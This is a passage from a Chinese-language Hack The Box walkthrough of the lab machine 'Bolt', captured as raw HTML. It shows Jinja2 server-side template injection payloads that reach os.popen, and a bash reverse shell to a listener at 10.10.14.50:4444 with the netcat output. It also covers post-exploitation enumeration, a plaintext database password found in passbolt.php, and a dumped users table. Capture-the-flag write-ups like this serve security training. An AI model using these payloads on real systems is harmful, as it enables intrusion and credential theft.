style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{{&#34;&#34;.__class__.__bases__[0].__subclasses__()}}</span></pre><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">查看到  popen是223个</span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="373" data-backw="578" data-galleryid="" data-ratio="0.6443850267379679" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1496" src="https://wechat2rss.xlab.app/img-proxy/?k=fe74c5a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lY5cWLfNc0eQqHR1PXZBAbxAhzib61ppYABvksX0Wico7PUOJGCedOJBQA%2F640%3Fwx_fmt%3Dpng"/></p><pre spellcheck="false" lang="" cid="n51" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{{&#34;&#34;.__class__.__bases__[0].__subclasses__()[222]}}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;class &#39;subprocess.Popen&#39;&gt;</span></pre><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">最终调用初始化，发现不行。</span></p><pre spellcheck="false" lang="" cid="n53" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">{{&#34;&#34;.__class__.__bases__[0].__subclasses__()[222].__init__}}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">&lt;slot wrapper &#39;__init__&#39; of &#39;object&#39; objects&gt;</span></pre><p style="text-align: left;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><br/></span></p><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="224" data-backw="578" data-galleryid="" data-ratio="0.3880803880803881" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1443" src="https://wechat2rss.xlab.app/img-proxy/?k=224712f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYDMKPbqE1iaHgNIRomHsoUxKJEWYqybQQrF4WG2oxxc4zwNdZ5eAw5Gg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n56" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">由于使用了模板</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">jinja2</code></span><span md-inline="plain" style="box-sizing: border-box;">,尝试搜了下payload：</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(<span class="code-snippet__string">&#34;whoami&#34;</span>).<span class="code-snippet__built_in">read</span>()}}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">www-data</span></code></pre><p style="text-align: left;"><img class="rich_pages wxw-img" data-backh="239" data-backw="555" data-galleryid="" data-ratio="0.4306306306306306" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="555" src="https://wechat2rss.xlab.app/img-proxy/?k=04b96d0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYstg42FnjzKOCLmBERicicfam5gSicrO1jiaZiaYFTxibruTZN2Q2ibKNPrRRw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n14" mdtype="paragraph" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;overflow-wrap: break-word !important;"><br/></p><p cid="n14" mdtype="paragraph" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x03 获取权限</span></p><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><br/></span></p><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">同样的方法发送payload:</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">{{ <span class="code-snippet__keyword">self</span>._TemplateReference__context.cycler.__init__.__globals__.os.popen(&#39;/bin/bash -<span class="code-snippet__built_in">c</span> <span class="code-snippet__string">&#34;/bin/bash -i &gt;&amp; /dev/tcp/10.10.14.50/4444 0&gt;&amp;1&#34;</span>&#39;).read() }}</span></code></pre><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">└─<span class="code-snippet__comment"># nc -lvnp 4444</span></span></code><code><span class="code-snippet_outer">listening on [any] 4444 ...</span></code><code><span class="code-snippet_outer">connect to [10.10.14.50] from (UNKNOWN) [10.10.11.114] 50808</span></code><code><span class="code-snippet_outer">bash: cannot <span class="code-snippet__keyword">set</span> terminal process <span class="code-snippet__keyword">group</span> (<span class="code-snippet__number">1012</span>): Inappropriate ioctl <span class="code-snippet__keyword">for</span> device</span></code><code><span class="code-snippet_outer">bash: <span class="code-snippet__keyword">no</span> job control <span class="code-snippet__keyword">in</span> this shell</span></code><code><span class="code-snippet_outer">www-<span class="code-snippet__keyword">data</span>@bolt:~/demo$ <span class="code-snippet__keyword">id</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">id</span></span></code><code><span class="code-snippet_outer">uid=<span class="code-snippet__number">33</span>(www-<span class="code-snippet__keyword">data</span>) gid=<span class="code-snippet__number">33</span>(www-<span class="code-snippet__keyword">data</span>) <span class="code-snippet__keyword">groups</span>=<span class="code-snippet__number">33</span>(www-<span class="code-snippet__keyword">data</span>)</span></code><code><span class="code-snippet_outer">www-<span class="code-snippet__keyword">data</span>@bolt:~/demo$ whoami</span></code><code><span class="code-snippet_outer">whoami</span></code><code><span class="code-snippet_outer">www-<span class="code-snippet__keyword">data</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre><h3 cid="n64" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;overflow-wrap: break-word !important;"><br/></h3><h3 cid="n64" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x04 权限提升</span></h3><p><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">www-data@bolt<span class="code-snippet__symbol">:~/demo</span>$ cat /etc/passwd<span class="code-snippet__params">|grep -v nologin |</span>grep -v <span class="code-snippet__literal">false</span></span></code><code><span class="code-snippet_outer">cat /etc/passwd<span class="code-snippet__params">|grep -v nologin |</span>grep -v <span class="code-snippet__literal">false</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">root:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">0</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">0</span><span class="code-snippet__symbol">:root</span><span class="code-snippet__symbol">:/root</span><span class="code-snippet__symbol">:/bin/bash</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">sync:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">4</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">65534</span><span class="code-snippet__symbol">:sync</span><span class="code-snippet__symbol">:/bin</span><span class="code-snippet__symbol">:/bin/sync</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">eddie:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">1000</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">1000</span><span class="code-snippet__symbol">:Eddie</span> Johnson,,,<span class="code-snippet__symbol">:/home/eddie</span><span class="code-snippet__symbol">:/bin/bash</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__symbol">clark:</span><span class="code-snippet__symbol">x:</span><span class="code-snippet__number">1001</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">1001</span><span class="code-snippet__symbol">:Clark</span> Griswold,,,<span class="code-snippet__symbol">:/home/clark</span><span class="code-snippet__symbol">:/bin/bash</span></span></code></pre><h4 cid="n66" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">www-data -&gt;eddie</span></h4><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer">[-] /etc/init/ config file permissions:</span></code><code><span class="code-snippet_outer">total 24</span></code><code><span class="code-snippet_outer">drwxr-xr-x   2 root root  4096 Sep  9 10:07 .</span></code><code><span class="code-snippet_outer">drwxr-xr-x 135 root root 12288 Sep 20 15:05 ..</span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r--   1 root root  1757 Nov  6  2019 mysql.conf</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__deletion">-rw-r--r--   1 root root   453 Dec  2  2020 whoopsie.conf</span></span></code></pre><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer">[-] Any interesting mail in /var/mail:</span></code><code><span class="code-snippet_outer">total 24</span></code><code><span class="code-snippet_outer">drwxrwsr-x  3 root     mail 4096 Dec 17 00:27 .</span></code><code><span class="code-snippet_outer">drwxr-xr-x 15 root     root 4096 Aug  4 13:06 ..</span></code><code><span class="code-snippet_outer">drwx<span class="code-snippet__comment">--S---  5     5001 mail 4096 Dec 19 08:23 123</span></span></code><code><span class="code-snippet_outer">-rw<span class="code-snippet__comment">-------  1 eddie    mail  909 Feb 25  2021 eddie</span></span></code><code><span class="code-snippet_outer">-rw<span class="code-snippet__comment">-------  1 root     mail    1 Mar  3  2021 root</span></span></code><code><span class="code-snippet_outer">-rw<span class="code-snippet__comment">-------  1 www-data mail    1 Mar  3  2021 www-data</span></span></code></pre><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">没找到什么可利用的点。</span></p><p cid="n70" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">根据用户查文件：</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">www-data@bolt<span class="code-snippet__symbol">:/var/lib/passbolt/tmp</span>$ find /etc -user www-data <span class="code-snippet__number">2</span>&gt;<span class="code-snippet__regexp">/dev/null</span></span></code><code><span class="code-snippet_outer">find /etc -user www-data <span class="code-snippet__number">2</span>&gt;<span class="code-snippet__regexp">/dev/null</span></span></code><code><span class="code-snippet_outer">/etc/passbolt/Seeds</span></code></pre><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">/etc/passbolt/Seeds</span></code></pre><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">passbolt.php</code></span><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"> 中存在一个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">passwd: rT2;jW7&lt;eY8!dX8}pQ8%</code></span><span md-inline="softbreak" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">有如下关键信息:</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> [</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#39;App&#39;</span> =&gt; [</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// A base URL to use for absolute links.</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// The url where the passbolt instance will be reachable to your end users.</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// This information is need to render images in emails for example</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#39;fullBaseUrl&#39;</span> =&gt; <span class="code-snippet__string">&#39;https://passbolt.bolt.htb&#39;</span>,</span></code><code><span class="code-snippet_outer">    ],</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// Database configuration.</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#39;Datasources&#39;</span> =&gt; [</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#39;default&#39;</span> =&gt; [</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;host&#39;</span> =&gt; <span class="code-snippet__string">&#39;localhost&#39;</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;port&#39;</span> =&gt; <span class="code-snippet__string">&#39;3306&#39;</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;username&#39;</span> =&gt; <span class="code-snippet__string">&#39;passbolt&#39;</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;password&#39;</span> =&gt; <span class="code-snippet__string">&#39;rT2;jW7&lt;eY8!dX8}pQ8%&#39;</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;database&#39;</span> =&gt; <span class="code-snippet__string">&#39;passboltdb&#39;</span>,</span></code><code><span class="code-snippet_outer">        ],</span></code><code><span class="code-snippet_outer">    ],</span></code></pre><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"></span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">数据库连接上,没什么关键信息。</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">select * from users;</span></code><code><span class="code-snippet_outer">+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+</span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| id                                   |</span> role_id                              <span class="code-snippet__params">| username       |</span> active <span class="code-snippet__params">| deleted |</span> created             <span class="code-snippet__params">| modified            |</span></span></code><code><span class="code-snippet_outer">+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+</span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| 4e184ee6-e436-47fb-91c9-dccb57f250bc |</span> <span class="code-snippet__number">1</span>cfcd30<span class="code-snippet__number">0</span>-<span class="code-snippet__number">0664</span>-<span class="code-snippet__number">407</span>e-<span class="code-snippet__number">85</span>e6-c11664a7d86c <span class="code-snippet__params">| eddie@bolt.htb |</span>      <span class="code-snippet__number">1</span> <span class="code-snippet__params">|       0 |</span> <span class="code-snippet__number">2021</span>-<span class="code-snippet__number">02</span>-<span class="code-snippet__number">25</span> <span class="code-snippet__number">21</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">42</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">50</span> <span class="code-snippet__params">| 2021-02-25 21:55:06 |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 |</span> <span class="code-snippet__number">975</span>b9a56-b1b1-<span class="code-snippet__number">453</span>c-<span class="code-snippet__number">9362</span>-c238a85dad76 <span class="code-snippet__params">| clark@bolt.htb |</span>      <span class="code-snippet__number">1</span> <span class="code-snippet__params">|       0 |</span> <span class="code-snippet__number">2021</span>-<span class="code-snippet__number">02</span>-<span class="code-snippet__number">25</span> <span class="code-snippet__number">21</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">40</span><span class="code-snippet__symbol">:</span><span class="code-snippet__number">29</span> <span class="code-snippet__params">| 2021-02-25 21:42:32 |</span></span></code></pre><p style="text-align: left;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">还有一个奇怪的东西</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span class="code-snippet_outer"><span class="code-snippet__comment">-----BEGIN PGP MESSAGE-----</span></span></code><code><span class="code-snippet_outer">Version: OpenPGP.js v4.10.9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">Comment</span>: https://openpgpjs.org</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">wcBMA/ZcqHmj13/kAQgAkS/<span class="code-snippet__number">2</span>GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc</span></code><code><span class="code-snippet_outer">g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/<span class="code-snippet__number">3</span>LZgtpV/PJCAD030kY</span></code><code><span class="code-snippet_outer">pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H</span></code><code><span class="code-snippet_outer">oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px</span></code><code><span class="code-snippet_outer">l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R</span></code><code><span class="code-snippet_outer">zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/<span class="code-snippet__number">8</span>b7nQp</span></code><code><span class="code-snippet_outer">edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u</span></code><code><span class="code-snippet_outer">l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt</span></code><code><span class="code-snippet_outer">oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7</span></code><code><span class="code-snippet_outer">FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">8</span>fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">5</span>nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/<span class="code-snippet__number">7</span>tY</span></code><code><span class="code-snippet_outer">NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++<span class="code-snippet__number">0</span>cHgAKF2tkTQtLO6QOdpzIH5a</span></code><code><span class="code-snippet_outer">Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs</span></code><code><span class="code-snippet_outer">nO9/aqEQ+<span class="code-snippet__number">2</span>tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6</span></code><code><span class="code-snippet_outer">TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984</span></code><code><span class="code-snippet_outer">=P38i</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">-----END PGP MESSAGE-----</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre><h4 cid="n85" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">eddie -&gt;root</span></h4><blockquote cid="n80" mdtype="blockquote" style="box-sizing: border-box;margin-top: 0.8em;margin-bottom: 